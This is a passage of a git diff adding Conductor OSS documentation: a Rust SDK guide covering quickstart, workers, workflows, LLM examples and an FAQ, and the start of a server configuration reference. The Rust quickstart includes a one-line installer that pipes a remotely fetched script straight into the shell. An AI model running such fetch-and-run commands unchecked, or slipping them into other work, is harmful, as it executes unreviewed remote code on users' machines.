Examples](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/event_listener_examples.rb) | file | +| [Helloworld](https://github.com/conductor-oss/ruby-sdk/tree/main/examples/helloworld) | directory | +| [Kitchensink](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/kitchensink.rb) | file | +| [Metadata Journey](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/metadata_journey.rb) | file | +| [Metrics Example](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/metrics_example.rb) | file | +| [New Dsl Demo](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/new_dsl_demo.rb) | file | +| [Orkes](https://github.com/conductor-oss/ruby-sdk/tree/main/examples/orkes) | directory | +| [Prompt Journey](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/prompt_journey.rb) | file | +| [Rag Workflow](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/rag_workflow.rb) | file | +| [Schedule Journey](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/schedule_journey.rb) | file | +| [Simple Worker](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/simple_worker.rb) | file | +| [Simple Workflow](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/simple_workflow.rb) | file | +| [Task Context Example](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/task_context_example.rb) | file | +| [Task Listener Example](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/task_listener_example.rb) | file | +| [Worker Configuration Example](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/worker_configuration_example.rb) | file | +| [Workflow Dsl](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/workflow_dsl.rb) | file | +| [Workflow Ops](https://github.com/conductor-oss/ruby-sdk/blob/main/examples/workflow_ops.rb) | file | diff --git a/docs/documentation/clientsdks/rust-sdk.md b/docs/documentation/clientsdks/rust-sdk.md new file mode 100644 index 0000000..bd2d3ce --- /dev/null +++ b/docs/documentation/clientsdks/rust-sdk.md @@ -0,0 +1,517 @@ +--- +description: "Build Conductor workers in Rust with type-safe task definitions and async workflow management." +--- + +# Rust SDK + +!!! info "Source" + GitHub: [conductor-oss/rust-sdk](https://github.com/conductor-oss/rust-sdk) | Report issues and contribute on GitHub. + +## Start Conductor server + +If you don't already have a Conductor server running, pick one: + +**Docker Compose (recommended, includes UI):** + +```shell +docker run -p 8080:8080 conductoross/conductor:latest +``` +The UI will be available at `http://localhost:8080` and the API at `http://localhost:8080/api` + +**MacOS / Linux (one-liner):** (If you don't want to use docker, you can install and run the binary directly) +```shell +curl -sSL https://raw.githubusercontent.com/conductor-oss/conductor/main/conductor_server.sh | sh +``` + +**Conductor CLI** +```shell +# Installs conductor cli +npm install -g @conductor-oss/conductor-cli + +# Start the open source conductor server +conductor server start +# see conductor server --help for all the available commands +``` + +## Install the SDK + +Add the following to your `Cargo.toml`: + +```toml +[dependencies] +conductor = "0.1" +tokio = { version = "1", features = ["full"] } +``` + +For the `#[worker]` macro (similar to Python's `@worker_task` decorator): + +```toml +[dependencies] +conductor = { version = "0.1", features = ["macros"] } +conductor-macros = "0.1" +tokio = { version = "1", features = ["full"] } +``` + +## 60-Second Quickstart + +**Step 1: Create a workflow** + +Workflows are definitions that reference task types (e.g. a SIMPLE task called `greet`). We'll build a workflow called +`greetings` that runs one task and returns its output. + +```rust +use conductor::models::{WorkflowDef, WorkflowTask}; + +fn greetings_workflow() -> WorkflowDef { + WorkflowDef::new("greetings") + .with_version(1) + .with_task( + WorkflowTask::simple("greet", "greet_ref") + .with_input_param("name", "${workflow.input.name}") + ) + .with_output_param("result", "${greet_ref.output.result}") +} +``` + +**Step 2: Write worker** + +Workers are Rust functions decorated with `#[worker]` that poll Conductor for tasks and execute them. + +```rust +use conductor_macros::worker; + +#[worker(name = "greet")] +async fn greet(name: String) -> String { + format!("Hello {}", name) +} +``` + +**Step 3: Run your first workflow app** + +Create a `main.rs` with the following: + +```rust +use conductor::{ + client::ConductorClient, + configuration::Configuration, + models::{StartWorkflowRequest, WorkflowDef, WorkflowTask}, + worker::TaskHandler, +}; +use conductor_macros::worker; + +// A worker is any Rust function with the #[worker] macro. +#[worker(name = "greet")] +async fn greet(name: String) -> String { + format!("Hello {}", name) +} + +fn greetings_workflow() -> WorkflowDef { + WorkflowDef::new("greetings") + .with_version(1) + .with_task( + WorkflowTask::simple("greet", "greet_ref") + .with_input_param("name", "${workflow.input.name}") + ) + .with_output_param("result", "${greet_ref.output.result}") +} + +#[tokio::main] +async fn main() -> Result<(), Box> { + // Configure the SDK (reads CONDUCTOR_SERVER_URL / CONDUCTOR_AUTH_* from env). + let config = Configuration::default(); + let client = ConductorClient::new(config.clone())?; + + // Register the workflow + let workflow = greetings_workflow(); + client.metadata_client() + .register_or_update_workflow_def(&workflow, true) + .await?; + + // Start polling for tasks + let mut task_handler = TaskHandler::new(config.clone())?; + task_handler.add_worker(greet_worker()); + task_handler.start().await?; + + // Run the workflow and get the result + let run = client.workflow_client() + .execute_workflow( + &StartWorkflowRequest::new("greetings") + .with_version(1) + .with_input_value("name", "Conductor"), + std::time::Duration::from_secs(10), + ) + .await?; + + println!("result: {:?}", run.output.get("result")); + println!("execution: {}/execution/{}", config.ui_host, run.workflow_id); + + task_handler.stop().await?; + Ok(()) +} +``` + +Run it: + +```shell +cargo run +``` + +> ### Using Orkes Conductor / Remote Server? +> Export your authentication credentials as well: +> +> ```shell +> export CONDUCTOR_SERVER_URL="https://your-cluster.orkesconductor.io/api" +> +> # If using Orkes Conductor that requires auth key/secret +> export CONDUCTOR_AUTH_KEY="your-key" +> export CONDUCTOR_AUTH_SECRET="your-secret" +> ``` +> See the [rust-sdk README](https://github.com/conductor-oss/rust-sdk) for details. + +That's it -- you just defined a worker, built a workflow, and executed it. Open the Conductor UI (default: +[http://localhost:8080](http://localhost:8080)) to see the execution. + +## Comprehensive worker example + +The example includes sync + async workers, metrics, and long-running tasks. + +See [examples/worker_example.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/worker_example.rs) + +--- + +## Workers + +Workers are Rust functions that execute Conductor tasks. Use the `#[worker]` macro or `FnWorker` to: + +- register it as a worker (auto-discovered by `TaskHandler`) +- use it as a workflow task (call it with `task_ref_name=...`) + +Note: Workers can also be used by LLMs for tool calling (see [AI & LLM Workflows](#ai-llm-workflows)). + +```rust +use conductor_macros::worker; + +#[worker(name = "greet")] +async fn greet(name: String) -> String { + format!("Hello {}", name) +} +``` + +**Using FnWorker (closure-based):** + +```rust +use conductor::worker::{FnWorker, WorkerOutput}; + +let greetings_worker = FnWorker::new("greetings", |task| async move { + let name = task.get_input_string("name").unwrap_or_default(); + Ok(WorkerOutput::completed_with_result(format!("Hello, {}", name))) +}) +.with_thread_count(10) +.with_poll_interval_millis(100); +``` + +**Start workers** with `TaskHandler`: + +```rust +use conductor::{ + configuration::Configuration, + worker::TaskHandler, +}; + +let config = Configuration::default(); +let mut task_handler = TaskHandler::new(config)?; +task_handler.add_worker(greet_worker()); + +task_handler.start().await?; + +// Wait for shutdown signal +tokio::signal::ctrl_c().await?; + +task_handler.stop().await?; +``` + +**Worker Configuration** + +Workers support hierarchical environment variable configuration — global settings that can be overridden per worker: + +```shell +# Global (all workers) +export CONDUCTOR_WORKER_ALL_POLL_INTERVAL_MILLIS=250 +export CONDUCTOR_WORKER_ALL_THREAD_COUNT=20 +export CONDUCTOR_WORKER_ALL_DOMAIN=production + +# Per-worker override +export CONDUCTOR_WORKER_GREETINGS_THREAD_COUNT=50 +``` + +See [WORKER_CONFIGURATION.md](https://github.com/conductor-oss/rust-sdk/blob/main/WORKER_CONFIGURATION.md) for all options. + +## Monitoring Workers + +Enable Prometheus metrics: + +```rust +use conductor::metrics::MetricsSettings; +use conductor::worker::TaskHandler; + +let mut task_handler = TaskHandler::new(config)?; +task_handler.enable_metrics( + MetricsSettings::new() + .with_http_port(9090) +); + +task_handler.start().await?; +// Metrics at http://localhost:9090/metrics +``` + +See the [rust-sdk README](https://github.com/conductor-oss/rust-sdk) for details. + +**Learn more:** +- [Worker Guide](https://github.com/conductor-oss/rust-sdk/blob/main/docs/WORKER.md) — All worker patterns (function, closure, macro, async) +- [Worker Configuration](https://github.com/conductor-oss/rust-sdk/blob/main/WORKER_CONFIGURATION.md) — Environment variable configuration system + +## Workflows + +Define workflows in Rust using the builder pattern to chain tasks: + +```rust +use conductor::{ + client::ConductorClient, + configuration::Configuration, + models::{WorkflowDef, WorkflowTask}, +}; + +let config = Configuration::default(); +let client = ConductorClient::new(config)?; +let metadata_client = client.metadata_client(); + +let workflow = WorkflowDef::new("greetings") + .with_version(1) + .with_task( + WorkflowTask::simple("greet", "greet_ref") + .with_input_param("name", "${workflow.input.name}") + ) + .with_output_param("result", "${greet_ref.output.result}"); + +// Registering is required if you want to start/execute by name+version +metadata_client.register_or_update_workflow_def(&workflow, true).await?; +``` + +**Execute workflows:** + +```rust +use conductor::models::StartWorkflowRequest; +use std::time::Duration; + +// Asynchronous (returns workflow ID immediately) +let request = StartWorkflowRequest::new("greetings") + .with_version(1) + .with_input_value("name", "Orkes"); +let workflow_id = workflow_client.start_workflow(&request).await?; + +// Synchronous (waits for completion) +let run = workflow_client + .execute_workflow(&request, Duration::from_secs(10)) + .await?; +println!("{:?}", run.output); +``` + +**Manage running workflows and send signals:** + +```rust +workflow_client.pause_workflow(&workflow_id).await?; +workflow_client.resume_workflow(&workflow_id).await?; +workflow_client.terminate_workflow(&workflow_id, Some("no longer needed"), false).await?; +workflow_client.retry_workflow(&workflow_id, false).await?; +workflow_client.restart_workflow(&workflow_id, false).await?; +``` + +**Learn more:** +- [Workflow Management](https://github.com/conductor-oss/rust-sdk/blob/main/docs/WORKFLOW.md) — Start, pause, resume, terminate, retry, search +- [Metadata Management](https://github.com/conductor-oss/rust-sdk/blob/main/docs/METADATA.md) — Task & workflow definitions + +## Troubleshooting + +- **Worker stops polling**: `TaskHandler` monitors workers. Use `task_handler.is_healthy()` for health checks. +- **Connection issues**: Verify `CONDUCTOR_SERVER_URL` is correct and server is running. +- **Authentication failures**: For Orkes Conductor, ensure `CONDUCTOR_AUTH_KEY` and `CONDUCTOR_AUTH_SECRET` are valid. + +--- + +## AI & LLM Workflows + +Conductor supports AI-native workflows including agentic tool calling, RAG pipelines, and multi-agent orchestration. + +**Agentic Workflows** + +Build AI agents where LLMs dynamically select and call Rust workers as tools. See [examples/](https://github.com/conductor-oss/rust-sdk/blob/main/examples/) for all examples. + +| Example | Description | +|---------|-------------| +| [llm_chat_example.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/llm_chat_example.rs) | Automated multi-turn science Q&A between two LLMs | +| [llm_chat_human_in_loop.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/llm_chat_human_in_loop.rs) | Interactive chat with WAIT task pauses for user input | +| [multiagent_chat.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/multiagent_chat.rs) | Multi-agent discussion with expert, critic, and synthesizer | +| [function_calling_example.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/function_calling_example.rs) | LLM picks which function to call based on user queries | +| [agentic_workflow.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/agentic_workflow.rs) | AI agent with tool calling and switch-based routing | + +**LLM and RAG Workflows** + +| Example | Description | +|---------|-------------| +| [rag_workflow.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/rag_workflow.rs) | End-to-end RAG: text indexing, semantic search, answer generation | +| [vector_db_example.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/vector_db_example.rs) | Vector database operations with embedding generation | + +```shell +# Automated multi-turn chat +cargo run --example llm_chat_example + +# Multi-agent discussion +cargo run --example multiagent_chat + +# RAG pipeline +cargo run --example rag_workflow +``` + +## Examples + +See the examples directory for the full catalog. Key examples: + +| Example | Description | Run | +|---------|-------------|-----| +| [worker_example.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/worker_example.rs) | End-to-end: sync + async workers, metrics | `cargo run --example worker_example` | +| [hello_world.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/hello_world.rs) | Minimal hello world | `cargo run --example hello_world` | +| [dynamic_workflow.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/dynamic_workflow.rs) | Build workflows programmatically | `cargo run --example dynamic_workflow` | +| [llm_chat_example.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/llm_chat_example.rs) | AI multi-turn chat | `cargo run --example llm_chat_example` | +| [rag_workflow.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/rag_workflow.rs) | RAG pipeline | `cargo run --example rag_workflow` | +| [task_context_example.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/task_context_example.rs) | Long-running tasks with TaskContext | `cargo run --example task_context_example` | +| [workflow_ops.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/workflow_ops.rs) | Pause, resume, terminate workflows | `cargo run --example workflow_ops` | +| [test_workflows.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/test_workflows.rs) | Unit testing workflows | `cargo run --example test_workflows` | +| [kitchensink.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/kitchensink.rs) | All task types (HTTP, JS, JQ, Switch) | `cargo run --example kitchensink` | + +## API Journey Examples + +End-to-end examples covering all APIs for each domain: + +| Example | APIs | Run | +|---------|------|-----| +| [authorization_example.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/authorization_example.rs) | Authorization APIs | `cargo run --example authorization_example` | +| [metadata_journey.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/metadata_journey.rs) | Metadata APIs | `cargo run --example metadata_journey` | +| [schedule_journey.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/schedule_journey.rs) | Schedule APIs | `cargo run --example schedule_journey` | +| [prompt_journey.rs](https://github.com/conductor-oss/rust-sdk/blob/main/examples/prompt_journey.rs) | Prompt APIs | `cargo run --example prompt_journey` | + +## Documentation + +| Document | Description | +|----------|-------------| +| [Worker Guide](https://github.com/conductor-oss/rust-sdk/blob/main/docs/WORKER.md) | All worker patterns (function, closure, macro, async) | +| [Worker Configuration](https://github.com/conductor-oss/rust-sdk/blob/main/WORKER_CONFIGURATION.md) | Hierarchical environment variable configuration | +| [Workflow Management](https://github.com/conductor-oss/rust-sdk/blob/main/docs/WORKFLOW.md) | Start, pause, resume, terminate, retry, search | +| [Task Management](https://github.com/conductor-oss/rust-sdk/blob/main/docs/TASK_MANAGEMENT.md) | Task operations | +| [Metadata](https://github.com/conductor-oss/rust-sdk/blob/main/docs/METADATA.md) | Task & workflow definitions | +| [Authorization](https://github.com/conductor-oss/rust-sdk/blob/main/docs/AUTHORIZATION.md) | Users, groups, applications, permissions | +| [Schedules](https://github.com/conductor-oss/rust-sdk/blob/main/docs/SCHEDULE.md) | Workflow scheduling | +| [Secrets](https://github.com/conductor-oss/rust-sdk/blob/main/docs/SECRET_MANAGEMENT.md) | Secret storage | +| [Prompts](https://github.com/conductor-oss/rust-sdk/blob/main/docs/PROMPT.md) | AI/LLM prompt templates | +| [Integrations](https://github.com/conductor-oss/rust-sdk/blob/main/docs/INTEGRATION.md) | AI/LLM provider integrations | +| [Metrics](https://github.com/conductor-oss/rust-sdk) | Prometheus metrics collection | + +## Support + +- [Open an issue (SDK)](https://github.com/conductor-oss/rust-sdk/issues) for SDK bugs, questions, and feature requests +- [Open an issue (Conductor server)](https://github.com/conductor-oss/conductor/issues) for Conductor OSS server issues +- [Join the Conductor Slack](https://join.slack.com/t/orkes-conductor/shared_invite/zt-2vdbx239s-Eacdyqya9giNLHfrCavfaA) for community discussion and help +- [Orkes Community Forum](https://community.orkes.io/) for Q&A + +## Frequently Asked Questions + +**Is this the same as Netflix Conductor?** + +Yes. Conductor OSS is the continuation of the original [Netflix Conductor](https://github.com/Netflix/conductor) repository after Netflix contributed the project to the open-source foundation. + +**Is this project actively maintained?** + +Yes. [Orkes](https://orkes.io) is the primary maintainer and offers an enterprise SaaS platform for Conductor across all major cloud providers. + +**Can Conductor scale to handle my workload?** + +Conductor was built at Netflix to handle massive scale and has been battle-tested in production environments processing millions of workflows. It scales horizontally to meet virtually any demand. + +**Does Conductor support durable code execution?** + +Yes. Conductor ensures workflows complete reliably even in the face of infrastructure failures, process crashes, or network issues. + +**Are workflows always asynchronous?** + +No. While Conductor excels at asynchronous orchestration, it also supports synchronous workflow execution when immediate results are required. + +**Do I need to use a Conductor-specific framework?** + +No. Conductor is language and framework agnostic. Use your preferred language and framework -- the [SDKs](https://github.com/conductor-oss/conductor#conductor-sdks) provide native integration for Python, Java, JavaScript, Go, C#, Rust, and more. + +**Can I mix workers written in different languages?** + +Yes. A single workflow can have workers written in Rust, Python, Java, Go, or any other supported language. Workers communicate through the Conductor server, not directly with each other. + +**What Rust versions are supported?** + +Rust 1.75 and above (2021 edition). + +**Should I use `async fn` or regular `fn` for my workers?** + +Use `async fn` for I/O-bound tasks (API calls, database queries) — the SDK uses async runtime for high concurrency with low overhead. Use regular functions for CPU-bound or blocking work. The SDK handles both patterns efficiently. + +**How do I run workers in production?** + +Workers are standard Rust applications. Deploy them as you would any Rust application -- in containers, VMs, or bare metal. Workers poll the Conductor server for tasks, so no inbound ports need to be opened. + +**How do I test workflows without running a full Conductor server?** + +The SDK provides a test framework that uses Conductor's `POST /api/workflow/test` endpoint to evaluate workflows with mock task outputs. See the [rust-sdk examples](https://github.com/conductor-oss/rust-sdk/blob/main/examples/test_workflows.rs) for details. + +## License + +Apache 2.0 + + +## Examples + +Browse all examples on GitHub: [conductor-oss/rust-sdk/examples](https://github.com/conductor-oss/rust-sdk/tree/main/examples) + +| Example | Type | +|---|---| +| [Agentic Workflow](https://github.com/conductor-oss/rust-sdk/blob/main/examples/agentic_workflow.rs) | file | +| [Async Workers](https://github.com/conductor-oss/rust-sdk/blob/main/examples/async_workers.rs) | file | +| [Authorization Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/authorization_example.rs) | file | +| [Connection Config Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/connection_config_example.rs) | file | +| [Dynamic Workflow](https://github.com/conductor-oss/rust-sdk/blob/main/examples/dynamic_workflow.rs) | file | +| [Event Listener Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/event_listener_example.rs) | file | +| [Fork Join Script Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/fork_join_script_example.rs) | file | +| [Function Calling Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/function_calling_example.rs) | file | +| [Hello World](https://github.com/conductor-oss/rust-sdk/blob/main/examples/hello_world.rs) | file | +| [Http Poll Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/http_poll_example.rs) | file | +| [Kitchensink](https://github.com/conductor-oss/rust-sdk/blob/main/examples/kitchensink.rs) | file | +| [Kitchensink Workers](https://github.com/conductor-oss/rust-sdk/blob/main/examples/kitchensink_workers.rs) | file | +| [Llm Chat Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/llm_chat_example.rs) | file | +| [Llm Chat Human In Loop](https://github.com/conductor-oss/rust-sdk/blob/main/examples/llm_chat_human_in_loop.rs) | file | +| [Metadata Journey](https://github.com/conductor-oss/rust-sdk/blob/main/examples/metadata_journey.rs) | file | +| [Metrics Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/metrics_example.rs) | file | +| [Multiagent Chat](https://github.com/conductor-oss/rust-sdk/blob/main/examples/multiagent_chat.rs) | file | +| [Openai Helloworld](https://github.com/conductor-oss/rust-sdk/blob/main/examples/openai_helloworld.rs) | file | +| [Prompt Journey](https://github.com/conductor-oss/rust-sdk/blob/main/examples/prompt_journey.rs) | file | +| [Rag Workflow](https://github.com/conductor-oss/rust-sdk/blob/main/examples/rag_workflow.rs) | file | +| [Schedule Journey](https://github.com/conductor-oss/rust-sdk/blob/main/examples/schedule_journey.rs) | file | +| [Secret Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/secret_example.rs) | file | +| [Sync State Update Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/sync_state_update_example.rs) | file | +| [Task Configure](https://github.com/conductor-oss/rust-sdk/blob/main/examples/task_configure.rs) | file | +| [Task Context Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/task_context_example.rs) | file | +| [Task Status Audit Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/task_status_audit_example.rs) | file | +| [Task Workers](https://github.com/conductor-oss/rust-sdk/blob/main/examples/task_workers.rs) | file | +| [Test Workflows](https://github.com/conductor-oss/rust-sdk/blob/main/examples/test_workflows.rs) | file | +| [Vector Db Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/vector_db_example.rs) | file | +| [Wait For Webhook Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/wait_for_webhook_example.rs) | file | +| [Worker Config Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/worker_config_example.rs) | file | +| [Worker Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/worker_example.rs) | file | +| [Worker Macro Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/worker_macro_example.rs) | file | +| [Workflow Ops](https://github.com/conductor-oss/rust-sdk/blob/main/examples/workflow_ops.rs) | file | +| [Workflow Rerun Example](https://github.com/conductor-oss/rust-sdk/blob/main/examples/workflow_rerun_example.rs) | file | +| [Workflow Status Listener](https://github.com/conductor-oss/rust-sdk/blob/main/examples/workflow_status_listener.rs) | file | diff --git a/docs/documentation/configuration/appconf.md b/docs/documentation/configuration/appconf.md new file mode 100644 index 0000000..2befe86 --- /dev/null +++ b/docs/documentation/configuration/appconf.md @@ -0,0 +1,186 @@ +--- +description: "Conductor application server configuration — tuning durable execution, workflow engine scalability, system task workers, and production deployment settings." +--- + +# App Configuration + +The Conductor application server offers extensive customization options to optimize its operation for specific +environments. + +These configuration parameters allow fine-tuning of various aspects of the server's behavior, performance, and +integration capabilities. +All of these parameters are grouped under the `conductor.app` namespace. + +### Configuration + +| Field | Type | Description | Notes | +|:--------------------------------------------|:---------|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:--------------------------------------------------------| +| stack | String | Name of the stack within which the app is running. e.g. `devint`, `testintg`, `staging`, `prod` etc. | Default is "test" | +| appId | String | The ID with which the app has been registered. e.g. `conductor`, `myApp` | Default is "conductor" | +| executorServiceMaxThreadCount | int | The maximum number of threads to be allocated to the executor service threadpool. e.g. `50` | Default is 50 | +| workflowOffsetTimeout | Duration | The timeout duration to set when a workflow is pushed to the decider queue. Example: `30s` or `1m` | Default is 30 seconds | +| maxPostponeDurationSeconds | Duration | The maximum timeout duration to set when a workflow with running task is pushed to the decider queue. Example: `30m` or `1h` | Default is 3600 seconds | +| sweeperThreadCount | int | The number of threads to use for background sweeping on active workflows. Example: `8` if there are 4 processors (2x4) | Default is 2 times the number of available processors | +| sweeperWorkflowPollTimeout | Duration | The timeout for polling workflows to be swept. Example: `2000ms` or `2s` | Default is 2000 milliseconds | +| eventProcessorThreadCount | int | The number of threads to configure the threadpool in the event processor. Example: `4` | Default is 2 | +| eventMessageIndexingEnabled | boolean | Whether to enable indexing of messages within event payloads. Example: `true` or `false` | Default is true | +| eventExecutionIndexingEnabled | boolean | Whether to enable indexing of event execution results. Example: `true` or `false` | Default is true | +| workflowExecutionLockEnabled | boolean | Whether to enable the workflow execution lock. Example: `true` or `false` | Default is false | +| lockLeaseTime | Duration | The time for which the lock is leased. Example: `60000ms` or `1m` | Default is 60000 milliseconds | +| lockTimeToTry | Duration | The time for which the thread will block in an attempt to acquire the lock. Example: `500ms` or `1s` | Default is 500 milliseconds | +| activeWorkerLastPollTimeout | Duration | The time to consider if a worker is actively polling for a task. Example: `10s` | Default is 10 seconds | +| taskExecutionPostponeDuration | Duration | The time for which a task execution will be postponed if rate-limited or concurrent execution limited. Example: `60s` | Default is 60 seconds | +| taskIndexingEnabled | boolean | Whether to enable indexing of tasks. Example: `true` or `false` | Default is true | +| taskExecLogIndexingEnabled | boolean | Whether to enable indexing of task execution logs. Example: `true` or `false` | Default is true | +| asyncIndexingEnabled | boolean | Whether to enable asynchronous indexing to Elasticsearch. Example: `true` or `false` | Default is false | +| systemTaskWorkerThreadCount | int | The number of threads in the threadpool for system task workers. Example: `8` if there are 4 processors (2x4) | Default is 2 times the number of available processors | +| systemTaskMaxPollCount | int | The maximum number of threads to be polled within the threadpool for system task workers. Example: `8` | Default is equal to systemTaskWorkerThreadCount | +| systemTaskWorkerCallbackDuration | Duration | The interval after which a system task will be checked by the system task worker for completion. Example: `30s` | Default is 30 seconds | +| systemTaskWorkerPollInterval | Duration | The interval at which system task queues will be polled by system task workers. Example: `50ms` | Default is 50 milliseconds | +| systemTaskWorkerExecutionNamespace | String | The namespace for the system task workers to provide instance-level isolation. Example: `namespace1`, `namespace2` | Default is an empty string | +| isolatedSystemTaskWorkerThreadCount | int | The number of threads to be used within the threadpool for system task workers in each isolation group. Example: `4` | Default is 1 | +| asyncUpdateShortRunningWorkflowDuration | Duration | The duration of workflow execution qualifying as short-running when async indexing to Elasticsearch is enabled. Example: `30s` | Default is 30 seconds | +| asyncUpdateDelay | Duration | The delay with which short-running workflows will be updated in Elasticsearch when async indexing is enabled. Example: `60s` | Default is 60 seconds | +| ownerEmailMandatory | boolean | Whether to validate the owner email field as mandatory within workflow and task definitions. Example: `true` or `false` | Default is true | +| eventQueueSchedulerPollThreadCount | int | The number of threads used in the Scheduler for polling events from multiple event queues. Example: `8` if there are 4 processors (2x4) | Default is equal to the number of available processors | +| eventQueuePollInterval | Duration | The time interval at which the default event queues will be polled. Example: `100ms` | Default is 100 milliseconds | +| eventQueuePollCount | int | The number of messages to be polled from a default event queue in a single operation. Example: `10` | Default is 10 | +| eventQueueLongPollTimeout | Duration | The timeout for the poll operation on the default event queue. Example: `1000ms` | Default is 1000 milliseconds | +| workflowInputPayloadSizeThreshold | DataSize | The threshold of the workflow input payload size beyond which the payload will be stored in ExternalPayloadStorage. Example: `5120KB` | Default is 5120 kilobytes | +| maxWorkflowInputPayloadSizeThreshold | DataSize | The maximum threshold of the workflow input payload size beyond which input will be rejected and the workflow marked as FAILED. Example: `10240KB` | Default is 10240 kilobytes | +| workflowOutputPayloadSizeThreshold | DataSize | The threshold of the workflow output payload size beyond which the payload will be stored in ExternalPayloadStorage. Example: `5120KB` | Default is 5120 kilobytes | +| maxWorkflowOutputPayloadSizeThreshold | DataSize | The maximum threshold of the workflow output payload size beyond which output will be rejected and the workflow marked as FAILED. Example: `10240KB` | Default is 10240 kilobytes | +| taskInputPayloadSizeThreshold | DataSize | The threshold of the task input payload size beyond which the payload will be stored in ExternalPayloadStorage. Example: `3072KB` | Default is 3072 kilobytes | +| maxTaskInputPayloadSizeThreshold | DataSize | The maximum threshold of the task input payload size beyond which the task input will be rejected and the task marked as FAILED_WITH_TERMINAL_ERROR. Example: `10240KB` | Default is 10240 kilobytes | +| taskOutputPayloadSizeThreshold | DataSize | The threshold of the task output payload size beyond which the payload will be stored in ExternalPayloadStorage. Example: `3072KB` | Default is 3072 kilobytes | +| maxTaskOutputPayloadSizeThreshold | DataSize | The maximum threshold of the task output payload size beyond which the task output will be rejected and the task marked as FAILED_WITH_TERMINAL_ERROR. Example: `10240KB` | Default is 10240 kilobytes | +| maxWorkflowVariablesPayloadSizeThreshold | DataSize | The maximum threshold of the workflow variables payload size beyond which the task changes will be rejected and the task marked as FAILED_WITH_TERMINAL_ERROR. Example: `256KB` | Default is 256 kilobytes | +| taskExecLogSizeLimit | int | The maximum size of task execution logs. Example: `10000` | Default is 10 | + +### Example usage + +In your configuration file add the configuration as you need + +```properties +# Conductor App Configuration + +# Name of the stack within which the app is running. e.g. devint, testintg, staging, prod etc. +conductor.app.stack=test + +# The ID with which the app has been registered. e.g. conductor, myApp +conductor.app.appId=conductor + +# The maximum number of threads to be allocated to the executor service threadpool. e.g. 50 +conductor.app.executorServiceMaxThreadCount=50 + +# The timeout duration to set when a workflow is pushed to the decider queue. Example: 30s or 1m +conductor.app.workflowOffsetTimeout=30s + +# The number of threads to use for background sweeping on active workflows. Example: 8 if there are 4 processors (2x4) +conductor.app.sweeperThreadCount=8 + +# The timeout for polling workflows to be swept. Example: 2000ms or 2s +conductor.app.sweeperWorkflowPollTimeout=2000ms + +# The number of threads to configure the threadpool in the event processor. Example: 4 +conductor.app.eventProcessorThreadCount=4 + +# Whether to enable indexing of messages within event payloads. Example: true or false +conductor.app.eventMessageIndexingEnabled=true + +# Whether to enable indexing of event execution results. Example: true or false +conductor.app.eventExecutionIndexingEnabled=true + +# Whether to enable the workflow execution lock. Example: true or false +conductor.app.workflowExecutionLockEnabled=false + +# The time for which the lock is leased. Example: 60000ms or 1m +conductor.app.lockLeaseTime=60000ms + +# The time for which the thread will block in an attempt to acquire the lock. Example: 500ms or 1s +conductor.app.lockTimeToTry=500ms + +# The time to consider if a worker is actively polling for a task. Example: 10s +conductor.app.activeWorkerLastPollTimeout=10s + +# The time for which a task execution will be postponed if rate-limited or concurrent execution limited. Example: 60s +conductor.app.taskExecutionPostponeDuration=60s + +# Whether to enable indexing of tasks. Example: true or false +conductor.app.taskIndexingEnabled=true + +# Whether to enable indexing of task execution logs. Example: true or false +conductor.app.taskExecLogIndexingEnabled=true + +# Whether to enable asynchronous indexing to Elasticsearch. Example: true or false +conductor.app.asyncIndexingEnabled=false + +# The number of threads in the threadpool for system task workers. Example: 8 if there are 4 processors (2x4) +conductor.app.systemTaskWorkerThreadCount=8 + +# The maximum number of threads to be polled within the threadpool for system task workers. Example: 8 +conductor.app.systemTaskMaxPollCount=8 + +# The interval after which a system task will be checked by the system task worker for completion. Example: 30s +conductor.app.systemTaskWorkerCallbackDuration=30s + +# The interval at which system task queues will be polled by system task workers. Example: 50ms 